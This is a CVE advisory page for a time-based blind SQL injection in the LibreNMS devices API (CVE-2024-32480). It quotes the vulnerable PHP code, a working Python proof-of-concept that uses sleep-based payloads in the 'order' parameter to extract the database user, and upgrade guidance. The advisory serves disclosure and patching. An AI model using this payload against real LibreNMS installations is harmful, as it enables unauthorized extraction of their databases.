Skip to main content

CVE-2024-32480 — Vulnerability in librenms/librenms — CVE Details

HIGH

LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction

Published April 22, 2024Updated September 10, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (1.04%). Schedule for your next planned update.

Does your project use an affected librenms/librenms version?

Paste your composer.lock to check it for CVE-2024-32480 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my composer.lock

Summary

Summary

Get a valid API token, make sure you can access api functions, then replace string on my PoC code, Test on offical OVA image, it's a old version 23.9.1, but this vulerable is also exists on latest version 24.2.0

Details

in file api_functions.php, line 307 for function list_devices

$order = $request->get('order');
    $type = $request->get('type');
    $query = $request->get('query');
    $param = [];

    if (empty($order)) {
        $order = 'hostname';
    }

    if (stristr($order, ' desc') === false && stristr($order, ' asc') === false) {
        $order = 'd.`' . $order . '` ASC';
    }
    /* ... */
    $devices = [];
    $dev_query = "SELECT $select FROM `devices` AS d $join WHERE $sql GROUP BY d.`hostname` ORDER BY $order";
    foreach (dbFetchRows($dev_query, $param) as $device) {

The "order" parameter is obtained from $request. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability.

PoC

For example. this PoC is get current db user

import string
import requests

headers = {
	'X-Auth-Token': 'token_string'
}
req = requests.Session()
payloads = '_-@.,' + string.digits + string.ascii_letters
url = 'http://host/api/v0/devices?order=device_id` and if(ascii(substr(user(),%d,1))=%d,sleep(5),1) and d.`device_id'
result = 'user: '
for i in range(10):
	for payload in payloads:
		try:
			req.get(url % (i+1, ord(payload)), headers=headers, timeout=3)
		except requests.exceptions.ReadTimeout as ex:
			result += payload
			print(result),
		except Exception as e:
			pass

Impact

Attacker can extract whole database

Advisory Timeline

  • First published April 22, 2024 (948 days ago).
  • Last revised September 10, 2026 — 870 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update librenms/librenms to 24.4.0 or later
composer require "librenms/librenms:^24.4.0"

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: Packagist (1).

PackageFixed In
librenms/librenms Packagist · Affected: 1.19, 1.20, 1.20.1, 1.21 (+117 more)24.4.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.2 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2024-32480?
LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.2/10).
How do I check if my project is affected by CVE-2024-32480?
CVE-2024-32480 affects librenms/librenms. It has a 1.0% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-32480 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.2

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
1.04%
EPSS percentile: 63.3

This is an above-median EPSS score — 63.3% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.

Also Known As

GHSA-jh57-j3vq-h438

Related CVEs

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my composer.lock